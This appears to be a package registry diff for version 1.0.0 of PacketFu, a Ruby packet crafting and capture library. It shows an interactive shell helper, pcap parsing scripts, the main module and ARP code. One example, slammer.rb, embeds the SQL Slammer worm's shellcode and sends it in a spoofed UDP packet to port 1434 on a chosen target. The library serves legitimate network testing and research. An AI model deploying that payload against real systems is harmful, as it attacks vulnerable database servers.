packetfu 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (52) hide show
  1. data/.document +4 -0
  2. data/CHANGES +36 -0
  3. data/INSTALL +40 -0
  4. data/LICENSE +28 -0
  5. data/README +25 -0
  6. data/TODO +25 -0
  7. data/examples/ackscan.rb +38 -0
  8. data/examples/arp.rb +60 -0
  9. data/examples/arphood.rb +56 -0
  10. data/examples/ethernet.rb +10 -0
  11. data/examples/examples.rb +3 -0
  12. data/examples/ids.rb +4 -0
  13. data/examples/idsv2.rb +6 -0
  14. data/examples/oui.txt +84177 -0
  15. data/examples/packetfu-shell.rb +111 -0
  16. data/examples/simple-stats.rb +42 -0
  17. data/examples/slammer.rb +33 -0
  18. data/examples/uniqpcap.rb +15 -0
  19. data/lib/packetfu.rb +108 -0
  20. data/lib/packetfu/arp.rb +239 -0
  21. data/lib/packetfu/capture.rb +169 -0
  22. data/lib/packetfu/config.rb +55 -0
  23. data/lib/packetfu/eth.rb +264 -0
  24. data/lib/packetfu/icmp.rb +153 -0
  25. data/lib/packetfu/inject.rb +65 -0
  26. data/lib/packetfu/invalid.rb +41 -0
  27. data/lib/packetfu/ip.rb +318 -0
  28. data/lib/packetfu/ipv6.rb +230 -0
  29. data/lib/packetfu/packet.rb +492 -0
  30. data/lib/packetfu/pcap.rb +502 -0
  31. data/lib/packetfu/structfu.rb +274 -0
  32. data/lib/packetfu/tcp.rb +1061 -0
  33. data/lib/packetfu/udp.rb +210 -0
  34. data/lib/packetfu/utils.rb +182 -0
  35. data/test/all_tests.rb +37 -0
  36. data/test/ptest.rb +10 -0
  37. data/test/sample.pcap +0 -0
  38. data/test/sample2.pcap +0 -0
  39. data/test/test_arp.rb +135 -0
  40. data/test/test_eth.rb +90 -0
  41. data/test/test_icmp.rb +54 -0
  42. data/test/test_inject.rb +33 -0
  43. data/test/test_invalid.rb +28 -0
  44. data/test/test_ip.rb +69 -0
  45. data/test/test_ip6.rb +68 -0
  46. data/test/test_octets.rb +37 -0
  47. data/test/test_packet.rb +41 -0
  48. data/test/test_pcap.rb +210 -0
  49. data/test/test_structfu.rb +112 -0
  50. data/test/test_tcp.rb +327 -0
  51. data/test/test_udp.rb +73 -0
  52. metadata +144 -0
@@ -0,0 +1,111 @@
1
+ # == Synopsis
2
+ #
3
+ # packetfu-shell.rb is intended for IRB consumption, and providing an
4
+ # interactive interface for PacketFu experimentation.
5
+ #
6
+ # == Usage
7
+ #
8
+ # irb -r packetfu-shell.rb
9
+ # or
10
+ # sudo irb -r packetfu-shell.rb
11
+ #
12
+ # If run as root, packet capturing/injecting is available, which includes
13
+ # access to Utils.whoami?
14
+ #
15
+ # Once loaded, the PacketFu module is mixed in, and Utils commands are
16
+ # aliased to the PacketFu module proper. Sessions look something like
17
+ # this:
18
+ #
19
+ # == Example
20
+ #
21
+ # irb(main):001:0> pkt = TCPPacket.new
22
+ # => 00 1a c5 00 00 00 00 1a c5 00 00 00 08 00 45 00 ..............E.
23
+ # 00 28 62 9d 00 00 ff 06 59 33 00 00 00 00 00 00 .(b.....Y3......
24
+ # 00 00 d4 fb 00 00 18 c6 32 86 00 00 00 00 50 00 ........2.....P.
25
+ # 40 00 4f 9d 00 00 @.O...
26
+ # irb(main):002:0> pkt.payload="I am totally up in your stack, twiddling your bits."
27
+ # => "I am totally up in your stack, twiddling your bits."
28
+ # irb(main):003:0> pkt.ip_saddr="1.2.3.4"
29
+ # => "1.2.3.4"
30
+ # irb(main):004:0> pkt.tcp_sport=13013
31
+ # => 13013
32
+ # irb(main):005:0> pkt.tcp_dport=808
33
+ # => 808
34
+ # irb(main):006:0> pkt.recalc
35
+ # => {"eth_src"=>{"oui"=>{"local"=>0, "oui"=>6853, "b0"=>0, "b1"=>0, "b2"=>0, "multicast"=>0, "b3"=>0, "b4"=>0, "b5"=>0}, "nic"=>{"n1"=>0, "n2"=>0, "n3"=>0}}, "body"=>{"ip_tos"=>0, "ip_src"=>{"o1"=>1, "o2"=>2, "o3"=>3, "o4"=>4}, "body"=>{"tcp_ecn"=>{"c"=>0, "n"=>0, "e"=>0}, "tcp_dst"=>808, "tcp_win"=>16384, "body"=>"I am totally up in your stack, twiddling your bits.", "tcp_flags"=>{"fin"=>0, "psh"=>0, "syn"=>0, "rst"=>0, "ack"=>0, "urg"=>0}, "tcp_hlen"=>5, "tcp_ack"=>0, "tcp_urg"=>0, "tcp_seq"=>415642246, "tcp_sum"=>51184, "tcp_reserved"=>0, "tcp_opts"=>"", "tcp_src"=>13013}, "ip_dst"=>{"o1"=>0, "o2"=>0, "o3"=>0, "o4"=>0}, "ip_frag"=>0, "ip_proto"=>6, "ip_hl"=>5, "ip_len"=>91, "ip_sum"=>21754, "ip_id"=>25245, "ip_v"=>4, "ip_ttl"=>255}, "eth_proto"=>2048, "eth_dst"=>{"oui"=>{"local"=>0, "oui"=>6853, "b0"=>0, "b1"=>0, "b2"=>0, "multicast"=>0, "b3"=>0, "b4"=>0, "b5"=>0}, "nic"=>{"n1"=>0, "n2"=>0, "n3"=>0}}}
36
+ # irb(main):007:0> pkt.to_f('/tmp/tcp-example.pcap')
37
+ # => ["/tmp/tcp-example.pcap", 145, 1, 1220048597, 1]
38
+ # irb(main):008:0> puts pkt.inspect_hex(2)
39
+ # 32 d5 03 28 7c 50 1f 01 00 00 00 00 50 00 40 00 2..(|P......P.@.
40
+ # 77 eb 00 00 49 20 61 6d 20 74 6f 74 61 6c 6c 79 w...I am totally
41
+ # 20 75 70 20 69 6e 20 79 6f 75 72 20 73 74 61 63 up in your stac
42
+ # 6b 2c 20 74 77 69 64 64 6c 69 6e 67 20 79 6f 75 k, twiddling you
43
+ # 72 20 62 69 74 73 2e r bits.
44
+ # => nil
45
+
46
+ require 'examples'
47
+ require 'packetfu'
48
+
49
+ module PacketFu
50
+ def whoami?(args={})
51
+ Utils.whoami?(args)
52
+ end
53
+ def arp(arg)
54
+ Utils.arp(arg)
55
+ end
56
+ end
57
+
58
+ include PacketFu
59
+
60
+ # Draws a picture. Includes a nunchuck, so you know that it's serious.
61
+ # I /think/ this is how you're supposed to spell it in a kana charset.
62
+ # http://jisho.org/words?jap=+%E3%83%91%E3%82%B1%E3%83%83%E3%83%88%E3%83%95&eng=&dict=edict
63
+ #
64
+ def packetfu_ascii_art
65
+ puts <<EOM
66
+ _______ _______ _______ _ _______ _________ _______
67
+ ( ____ )( ___ )( ____ \\| \\ /\\( ____ \\\\__ __/( ____ \\|\\ /|
68
+ | ( )|| ( ) || ( \\/| \\ / /| ( \\/ ) ( | ( \\/| ) ( |
69
+ | (____)|| (___) || | | (_/ / | (__ | | | (__ | | | |
70
+ | _____)| ___ || | | _ ( | __) | | | __) | | | |
71
+ | ( | ( ) || | | ( \\ \\ | ( | | | ( | | | |
72
+ | ) | ) ( || (____/\\| / \\ \\| (____/\\ | | | ) | (___) |
73
+ |/ |/ \\|(_______/|_/ \\/(_______/ )_( |/ (_______)
74
+ ____________________________ ____________________________
75
+ ( ) ( )
76
+ | 01000001 00101101 01001000 )( )( )( )( )( 00101101 01000001 00100001 |
77
+ | )( )( )( )( )( |
78
+ (____________________________) (____________________________)
79
+ PacketFu
80
+ a mid-level packet manipulation library for ruby
81
+
82
+ EOM
83
+ end
84
+
85
+ # Displays a helpful banner.
86
+ def banner
87
+ packetfu_ascii_art
88
+ puts ">>> PacketFu Shell #{PacketFu.version}."
89
+ if Process.euid.zero? && @@pcaprub_loaded
90
+ puts ">>> Use $packetfu_default.config for salient networking details."
91
+ print "IP: %-15s Mac: %s" % [$packetfu_default.ip_saddr, $packetfu_default.eth_saddr]
92
+ puts " Gateway: %s" % $packetfu_default.eth_daddr
93
+ print "Net: %-15s" % [Pcap.lookupnet($packetfu_default.iface)][0]
94
+ print " " * 13
95
+ puts "Iface: %s" % [($packetfu_default.iface)]
96
+ puts ">>> Packet capturing/injecting enabled."
97
+ else
98
+ print ">>> Packet capturing/injecting disabled. "
99
+ puts Process.euid.zero? ? "(no PcapRub)" : "(not root)"
100
+ end
101
+ puts "<>" * 36
102
+ end
103
+
104
+ # Silly wlan0 workaround
105
+ begin
106
+ $packetfu_default = PacketFu::Config.new(Utils.whoami?) if(@@pcaprub_loaded && Process.euid.zero?)
107
+ rescue RuntimeError
108
+ $packetfu_default = PacketFu::Config.new(Utils.whoami?(:iface => 'wlan0')) if(@@pcaprub_loaded && Process.euid.zero?)
109
+ end
110
+
111
+ banner
@@ -0,0 +1,42 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ # Simple-stats.rb takes a pcap file, and gives some simple
4
+ # stastics on the protocols found. It's mainly used to
5
+ # demonstrate a method to parse pcap files.
6
+
7
+ require 'examples' # For path setting slight-of-hand
8
+ require 'packetfu'
9
+
10
+ # Takes a file name, parses the packets, and records the packet
11
+ # type based on its PacketFu class.
12
+ def count_packet_types(file)
13
+ file = File.open(file) {|f| f.read}
14
+ stats = {}
15
+ pcapfile = PacketFu::PcapPackets.new
16
+ pcapfile.read(file)
17
+ pcapfile.each do |p|
18
+ # Now it's a PacketFu packet struct.
19
+ pkt = PacketFu::Packet.parse(p.data)
20
+ kind = pkt.class.to_s.split("::").last
21
+ if stats[kind]
22
+ stats[kind] += 1
23
+ else
24
+ stats[kind] = 0
25
+ end
26
+ end
27
+ stats.each_pair { |k,v| puts "%-12s: %4d" % [k,v] }
28
+ end
29
+
30
+ if File.readable?(infile = (ARGV[0] || 'in.pcap'))
31
+ title = "Packets by packet type in '#{infile}'"
32
+ puts title
33
+ puts "-" * title.size
34
+ count_packet_types(infile)
35
+ else
36
+ raise RuntimeError, "Need an infile, like so: #{$0} in.pcap"
37
+ end
38
+
39
+
40
+
41
+
42
+
@@ -0,0 +1,33 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ # Fires off a slammer packet to an unsuspecting target. This code does not
4
+ # break real devices! (To do that, you'll need to fix up the targetting)
5
+ target = ARGV[0]
6
+ raise RuntimeError, "Need a target" unless target
7
+ action = ARGV[1]
8
+ raise RuntimeError, "Need an action. Try file or your interface." unless action
9
+
10
+ require 'packetfu'
11
+ include PacketFu
12
+
13
+ slammer = "\004\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\334\311\260B\353\016" + "\001\001\001\001\001\001\001p\256B\001p\256B\220\220\220\220\220\220\220\220h\334\311\260B\270\001\001" + "\001\0011\311\261\030P\342\3755\001\001\001\005P\211\345Qh.dllhel32hkernQhounthickChGetTf" + "\271llQh32.dhws2_f\271etQhsockf\271toQhsend\276\030\020\256B\215E\324P\377\026P\215E\340P\215E\360P\377" + "\026P\276\020\020\256B\213\036\213\003=U\213\354Qt\005\276\034\020\256B\377\026\377\3201\311QQP\201\361" + "\003\001\004\233\201\361\001\001\001\001Q\215E\314P\213E\300P\377\026j\021j\002j\002\377\320P\215E\304P" + "\213E\300P\377\026\211\306\t\333\201\363<a\331\377\213E\264\215\f@\215\024\210\301\342\004\001\302\301" + "\342\b)\302\215\004\220\001\330\211E\264j\020\215E\260P1\311Qf\201\361x\001Q\215E\003P\213E\254P\377\326" + "\353\312"
14
+
15
+ def rand_source_ip
16
+ [rand(0xffffffff)].pack("N")
17
+ end
18
+
19
+ kill_packet = UDPPacket.new
20
+ kill_packet.eth_daddr = "00:1b:63:aa:bb:cc"
21
+ kill_packet.ip_daddr = ARGV[0]
22
+ kill_packet.ip_src.read(rand_source_ip)
23
+ kill_packet.udp_dst = 1434
24
+ kill_packet.recalc
25
+ kill_packet.payload = slammer
26
+
27
+ if action == 'file'.downcase
28
+ puts kill_packet.to_f
29
+ else
30
+ puts kill_packet.to_w(action.downcase)
31
+ end
32
+
33
+
@@ -0,0 +1,15 @@
1
+ # Uniqpcap.rb takes a pcap file, strips out duplicate packets, and
2
+ # writes them to a file.
3
+ #
4
+ # The duplicate pcap problem is common when I'm capturing
5
+ # traffic to/from a VMWare image, for some reason.
6
+ #
7
+ # Currently, the timestamp information is lost due to PcapRub's
8
+ # file read. For me, this isn't a big deal. Future versions
9
+ # will deal with timestamps correctly.
10
+ require 'examples' # For path setting slight-of-hand
11
+ require 'packetfu'
12
+
13
+ in_array = PacketFu::Read.f2a(:file => ARGV[0])
14
+ puts PacketFu::Write.a2f(:file => "uniq-" + ARGV[0], :arr => in_array.uniq).inspect
15
+
@@ -0,0 +1,108 @@
1
+
2
+ # :title: PacketFu Documentation
3
+ # :include: ../README
4
+ # :include: ../INSTALL
5
+ # :include: ../LICENSE
6
+
7
+ $: << File.expand_path(File.dirname(__FILE__))
8
+ require "packetfu/structfu"
9
+ require "ipaddr"
10
+ require 'rubygems' if RUBY_VERSION =~ /^1\.[0-8]/
11
+
12
+ module PacketFu
13
+
14
+ # Sets the expected byte order for a pcap file. See PacketFu::Read.set_byte_order
15
+ @byte_order = :little
16
+
17
+ # Checks if pcaprub is loaded correctly.
18
+ @@pcaprub_loaded = false
19
+
20
+ # PacketFu works best with Pcaprub version 0.8-dev (at least)
21
+ # The current (Aug 01, 2010) pcaprub gem is 0.9, so should be fine.
22
+ def self.pcaprub_platform_require
23
+ begin
24
+ require 'pcaprub'
25
+ rescue LoadError
26
+ return false
27
+ end
28
+ @@pcaprub_loaded = true
29
+ end
30
+
31
+ pcaprub_platform_require
32
+ if @@pcaprub_loaded
33
+ if Pcap.version !~ /[0-9]\.[7-9][0-9]?(-dev)?/ # Regex for 0.7-dev and beyond.
34
+ @@pcaprub_loaded = false # Don't bother with broken versions
35
+ raise LoadError, "PcapRub not at a minimum version of 0.8-dev"
36
+ end
37
+ require "packetfu/capture"
38
+ require "packetfu/inject"
39
+ else
40
+ warn "Warning: Missing pcaprub, cannot load PacketFu::Capture or PacketFu::Inject"
41
+ end
42
+
43
+ end
44
+
45
+ require "packetfu/pcap"
46
+ require "packetfu/packet"
47
+ require "packetfu/invalid"
48
+ require "packetfu/eth"
49
+ require "packetfu/ip"
50
+ require "packetfu/arp"
51
+ require "packetfu/icmp"
52
+ require "packetfu/udp"
53
+ require "packetfu/tcp"
54
+ require "packetfu/ipv6" # This is pretty minimal.
55
+ require "packetfu/utils"
56
+ require "packetfu/config"
57
+
58
+ module PacketFu
59
+
60
+ VERSION = "1.0.0" # Version 1.0.0 was released July 31, 2010
61
+
62
+ # Returns the current version of PacketFu. Incremented every once
63
+ # in a while, when I remember
64
+ def self.version
65
+ PacketFu::VERSION
66
+ end
67
+
68
+ # Returns the version in a binary format for easy comparisons.
69
+ def self.binarize_version(str)
70
+ if(str.respond_to?(:split) && str =~ /^[0-9]+(\.([0-9]+)(\.[0-9]+)?)?$/)
71
+ bin_major,bin_minor,bin_teeny = str.split(/\x2e/).map {|x| x.to_i}
72
+ bin_version = (bin_major.to_i << 16) + (bin_minor.to_i << 8) + bin_teeny.to_i
73
+ else
74
+ raise ArgumentError, "Compare version malformed. Should be \x22x.y.z\x22"
75
+ end
76
+ end
77
+
78
+ # Returns true if the version is equal to or greater than the compare version.
79
+ # If the current version of PacketFu is "0.3.1" for example:
80
+ #
81
+ # PacketFu.at_least? "0" # => true
82
+ # PacketFu.at_least? "0.2.9" # => true
83
+ # PacketFu.at_least? "0.3" # => true
84
+ # PacketFu.at_least? "1" # => true after 1.0's release
85
+ # PacketFu.at_least? "1.12" # => false
86
+ # PacketFu.at_least? "2" # => false
87
+ def self.at_least?(str)
88
+ this_version = binarize_version(self.version)
89
+ ask_version = binarize_version(str)
90
+ this_version >= ask_version
91
+ end
92
+
93
+ # Returns true if the current version is older than the compare version.
94
+ def self.older_than?(str)
95
+ this_version = binarize_version(self.version)
96
+ ask_version = binarize_version(str)
97
+ this_version < ask_version
98
+ end
99
+
100
+ # Returns true if the current version is newer than the compare version.
101
+ def self.newer_than?(str)
102
+ return false if str == self.version
103
+ !self.older_than?(str)
104
+ end
105
+
106
+ end
107
+
108
+ # vim: nowrap sw=2 sts=0 ts=2 ff=unix ft=ruby
@@ -0,0 +1,239 @@
1
+ module PacketFu
2
+
3
+ # ARPHeader is a complete ARP struct, used in ARPPacket.
4
+ #
5
+ # ARP is used to discover the machine address of nearby devices.
6
+ #
7
+ # See http://www.networksorcery.com/enp/protocol/arp.htm for details.
8
+ #
9
+ # ==== Header Definition
10
+ #
11
+ # Int16 :arp_hw Default: 1 # Ethernet
12
+ # Int16 :arp_proto, Default: 0x8000 # IP
13
+ # Int8 :arp_hw_len, Default: 6
14
+ # Int8 :arp_proto_len, Default: 4
15
+ # Int16 :arp_opcode, Default: 1 # 1: Request, 2: Reply, 3: Request-Reverse, 4: Reply-Reverse
16
+ # EthMac :arp_src_mac # From eth.rb
17
+ # Octets :arp_src_ip # From ip.rb
18
+ # EthMac :arp_dst_mac # From eth.rb
19
+ # Octets :arp_dst_ip # From ip.rb
20
+ # String :body
21
+ class ARPHeader < Struct.new(:arp_hw, :arp_proto, :arp_hw_len,
22
+ :arp_proto_len, :arp_opcode,
23
+ :arp_src_mac, :arp_src_ip,
24
+ :arp_dst_mac, :arp_dst_ip,
25
+ :body)
26
+ include StructFu
27
+
28
+ def initialize(args={})
29
+ super(
30
+ Int16.new(args[:arp_hw] || 1),
31
+ Int16.new(args[:arp_proto] ||0x0800),
32
+ Int8.new(args[:arp_hw_len] || 6),
33
+ Int8.new(args[:arp_proto_len] || 4),
34
+ Int16.new(args[:arp_opcode] || 1),
35
+ EthMac.new.read(args[:arp_src_mac]),
36
+ Octets.new.read(args[:arp_src_ip]),
37
+ EthMac.new.read(args[:arp_dst_mac]),
38
+ Octets.new.read(args[:arp_dst_ip]),
39
+ StructFu::String.new.read(args[:body])
40
+ )
41
+ end
42
+
43
+ # Returns the object in string form.
44
+ def to_s
45
+ self.to_a.map {|x| x.to_s}.join
46
+ end
47
+
48
+ # Reads a string to populate the object.
49
+ def read(str)
50
+ force_binary(str)
51
+ return self if str.nil?
52
+ self[:arp_hw].read(str[0,2])
53
+ self[:arp_proto].read(str[2,2])
54
+ self[:arp_hw_len].read(str[4,1])
55
+ self[:arp_proto_len].read(str[5,1])
56
+ self[:arp_opcode].read(str[6,2])
57
+ self[:arp_src_mac].read(str[8,6])
58
+ self[:arp_src_ip].read(str[14,4])
59
+ self[:arp_dst_mac].read(str[18,6])
60
+ self[:arp_dst_ip].read(str[24,4])
61
+ self[:body].read(str[28,str.size])
62
+ self
63
+ end
64
+
65
+ # Setter for the ARP hardware type.
66
+ def arp_hw=(i); typecast i; end
67
+ # Getter for the ARP hardware type.
68
+ def arp_hw; self[:arp_hw].to_i; end
69
+ # Setter for the ARP protocol.
70
+ def arp_proto=(i); typecast i; end
71
+ # Getter for the ARP protocol.
72
+ def arp_proto; self[:arp_proto].to_i; end
73
+ # Setter for the ARP hardware type length.
74
+ def arp_hw_len=(i); typecast i; end
75
+ # Getter for the ARP hardware type length.
76
+ def arp_hw_len; self[:arp_hw_len].to_i; end
77
+ # Setter for the ARP protocol length.
78
+ def arp_proto_len=(i); typecast i; end
79
+ # Getter for the ARP protocol length.
80
+ def arp_proto; self[:arp_proto].to_i; end
81
+ # Setter for the ARP opcode.
82
+ def arp_opcode=(i); typecast i; end
83
+ # Getter for the ARP opcode.
84
+ def arp_opcode; self[:arp_opcode].to_i; end
85
+ # Setter for the ARP source MAC address.
86
+ def arp_src_mac=(i); typecast i; end
87
+ # Getter for the ARP source MAC address.
88
+ def arp_src_mac; self[:arp_src_mac].to_s; end
89
+ # Getter for the ARP source IP address.
90
+ def arp_src_ip=(i); typecast i; end
91
+ # Setter for the ARP source IP address.
92
+ def arp_src_ip; self[:arp_src_ip].to_s; end
93
+ # Setter for the ARP destination MAC address.
94
+ def arp_dst_mac=(i); typecast i; end
95
+ # Setter for the ARP destination MAC address.
96
+ def arp_dst_mac; self[:arp_dst_mac].to_s; end
97
+ # Setter for the ARP destination IP address.
98
+ def arp_dst_ip=(i); typecast i; end
99
+ # Getter for the ARP destination IP address.
100
+ def arp_dst_ip; self[:arp_dst_ip].to_s; end
101
+
102
+ # Set the source MAC address in a more readable way.
103
+ def arp_saddr_mac=(mac)
104
+ mac = EthHeader.mac2str(mac)
105
+ self[:arp_src_mac].read(mac)
106
+ self.arp_src_mac
107
+ end
108
+
109
+ # Get a more readable source MAC address.
110
+ def arp_saddr_mac
111
+ EthHeader.str2mac(self[:arp_src_mac].to_s)
112
+ end
113
+
114
+ # Set the destination MAC address in a more readable way.
115
+ def arp_daddr_mac=(mac)
116
+ mac = EthHeader.mac2str(mac)
117
+ self[:arp_dst_mac].read(mac)
118
+ self.arp_dst_mac
119
+ end
120
+
121
+ # Get a more readable source MAC address.
122
+ def arp_daddr_mac
123
+ EthHeader.str2mac(self[:arp_dst_mac].to_s)
124
+ end
125
+
126
+ # Set a more readable source IP address.
127
+ def arp_saddr_ip=(addr)
128
+ self[:arp_src_ip].read_quad(addr)
129
+ end
130
+
131
+ # Get a more readable source IP address.
132
+ def arp_saddr_ip
133
+ self[:arp_src_ip].to_x
134
+ end
135
+
136
+ # Set a more readable destination IP address.
137
+ def arp_daddr_ip=(addr)
138
+ self[:arp_dst_ip].read_quad(addr)
139
+ end
140
+
141
+ # Get a more readable destination IP address.
142
+ def arp_daddr_ip
143
+ self[:arp_dst_ip].to_x
144
+ end
145
+
146
+ end # class ARPHeader
147
+
148
+ # ARPPacket is used to construct ARP packets. They contain an EthHeader and an ARPHeader.
149
+ # == Example
150
+ #
151
+ # require 'packetfu'
152
+ # arp_pkt = PacketFu::ARPPacket.new(:flavor => "Windows")
153
+ # arp_pkt.arp_saddr_mac="00:1c:23:44:55:66" # Your hardware address
154
+ # arp_pkt.arp_saddr_ip="10.10.10.17" # Your IP address
155
+ # arp_pkt.arp_daddr_ip="10.10.10.1" # Target IP address
156
+ # arp_pkt.arp_opcode=1 # Request
157
+ #
158
+ # arp_pkt.to_w('eth0') # Inject on the wire. (requires root)
159
+ # arp_pkt.to_f('/tmp/arp.pcap') # Write to a file.
160
+ #
161
+ # == Parameters
162
+ #
163
+ # :flavor
164
+ # Sets the "flavor" of the ARP packet. Choices are currently:
165
+ # :windows, :linux, :hp_deskjet
166
+ # :eth
167
+ # A pre-generated EthHeader object. If not specified, a new one will be created.
168
+ # :arp
169
+ # A pre-generated ARPHeader object. If not specificed, a new one will be created.
170
+ # :config
171
+ # A hash of return address details, often the output of Utils.whoami?
172
+ class ARPPacket < Packet
173
+
174
+ attr_accessor :eth_header, :arp_header
175
+
176
+ def initialize(args={})
177
+ @eth_header = EthHeader.new(args).read(args[:eth])
178
+ @arp_header = ARPHeader.new(args).read(args[:arp])
179
+ @eth_header.eth_proto = "\x08\x06"
180
+ @eth_header.body=@arp_header
181
+
182
+ # Please send more flavors to todb-packetfu@planb-security.net.
183
+ # Most of these initial fingerprints come from one (1) sample.
184
+ case (args[:flavor].nil?) ? :nil : args[:flavor].to_s.downcase.intern
185
+ when :windows; @arp_header.body = "\x00" * 64 # 64 bytes of padding
186
+ when :linux; @arp_header.body = "\x00" * 4 + # 32 bytes of padding
187
+ "\x00\x07\x5c\x14" + "\x00" * 4 +
188
+ "\x00\x0f\x83\x34" + "\x00\x0f\x83\x74" +
189
+ "\x01\x11\x83\x78" + "\x00\x00\x00\x0c" +
190
+ "\x00\x00\x00\x00"
191
+ when :hp_deskjet; # Pads up to 60 bytes.
192
+ @arp_header.body = "\xe0\x90\x0d\x6c" +
193
+ "\xff\xff\xee\xee" + "\x00" * 4 +
194
+ "\xe0\x8f\xfa\x18\x00\x20"
195
+ else; @arp_header.body = "\x00" * 18 # Pads up to 60 bytes.
196
+ end
197
+
198
+ @headers = [@eth_header, @arp_header]
199
+ super
200
+
201
+ end
202
+
203
+ # Generates summary data for ARP packets.
204
+ def peek(args={})
205
+ peek_data = ["A "]
206
+ peek_data << "%-5d" % self.to_s.size
207
+ peek_data << arp_saddr_mac
208
+ peek_data << "(#{arp_saddr_ip})"
209
+ peek_data << "->"
210
+ peek_data << case arp_daddr_mac
211
+ when "00:00:00:00:00:00"; "Bcast00"
212
+ when "ff:ff:ff:ff:ff:ff"; "BcastFF"
213
+ else; arp_daddr_mac
214
+ end
215
+ peek_data << "(#{arp_daddr_ip})"
216
+ peek_data << ":"
217
+ peek_data << case arp_opcode
218
+ when 1; "Requ"
219
+ when 2; "Repl"
220
+ when 3; "RReq"
221
+ when 4; "RRpl"
222
+ when 5; "IReq"
223
+ when 6; "IRpl"
224
+ else; "0x%02x" % arp_opcode
225
+ end
226
+ peek_data.join
227
+ end
228
+
229
+ # While there are lengths in ARPPackets, there's not
230
+ # much to do with them.
231
+ def recalc(args={})
232
+ @headers[0].inspect
233
+ end
234
+
235
+ end
236
+
237
+ end
238
+
239
+ # vim: nowrap sw=2 sts=0 ts=2 ff=unix ft=ruby